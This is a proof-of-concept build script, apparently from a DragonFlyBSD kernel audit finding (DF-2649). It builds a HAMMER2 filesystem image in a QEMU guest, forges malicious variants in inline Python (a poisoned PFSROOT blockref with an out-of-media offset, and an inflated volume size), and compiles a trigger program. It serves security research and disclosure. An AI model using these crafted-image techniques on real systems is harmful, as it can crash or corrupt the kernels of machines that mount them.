DragonFlyBSD Kernel Audit
DF-2649 / build.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-2649 build: base image in guest, forge on host (two variants).
set -e
CD=$(dirname "$0")
ssh -F dfbsd-qemu/config dfbsd 'vnconfig -u vn0 2>/dev/null || true; mkdir -p /root/poc/w2649 /mnt/h2x'
ssh -F dfbsd-qemu/config dfbsd 'cd /root/poc/w2649 && truncate -s 64M base.img && newfs_hammer2 -L testvol base.img >/dev/null && vnconfig -c vn0 /root/poc/w2649/base.img && mount -t hammer2 /dev/vn0@testvol /mnt/h2x && printf h2649payload > /mnt/h2x/f1 && sync && umount /mnt/h2x && vnconfig -u vn0 && echo BASE_OK'
scp -F dfbsd-qemu/config dfbsd:/root/poc/w2649/base.img "$CD/base2649.img"
# variant 1: PFSROOT poison with out-of-media data_off (mounts, scan reaches chain_lock)
# variant 2: volu_size inflation + in-forged-volume poison (rejected at mount)
python3 "$CD/forge_2649.py" "$CD/base2649.img" "$CD/craft2649_volusize.img" eio
python3 - "$CD" <<'EOF'
# regenerate the v1 image (valid volu_size, poison data_off=0x10000000a)
import sys, struct, os
sys.path.insert(0, sys.argv[1])
from h2common import *
cd = sys.argv[1]
img = bytearray(open(os.path.join(cd, 'base2649.img'), 'rb').read())
vols, sbr = find_sroot(img)
pbr = find_pfs_bref(img, sbr, b'testvol')
iblk = pbr['data_off'] & ~RADIX_MASK
slot = iblk + 0x200 + 2 * BREF
struct.pack_into('<6B', img, slot, T_INODE, 0x00, 0, 64, 0, PFSROOT)
struct.pack_into('<QQQQQ', img, slot + 8, 0xE000000000000002, 0, 0,
                 (4 << 30) | 10, 0)
struct.pack_into('<B', img, pbr['off'] + 0x01, 0x00)
for v in vols:
    struct.pack_into('<B', img, v + 0x201, 0x00)
recompute_volhdr_crcs(img)
open(os.path.join(cd, 'craft2649_v1.img'), 'wb').write(img)
print('v1 written')
EOF
scp -F dfbsd-qemu/config "$CD/craft2649_v1.img" "$CD/craft2649_volusize.img" dfbsd:/tmp/
scp -F dfbsd-qemu/config "$CD/trigger.c" dfbsd:/tmp/trigger.c
ssh -F dfbsd-qemu/config dfbsd 'cc -O -o /tmp/trigger /tmp/trigger.c && echo CC_OK'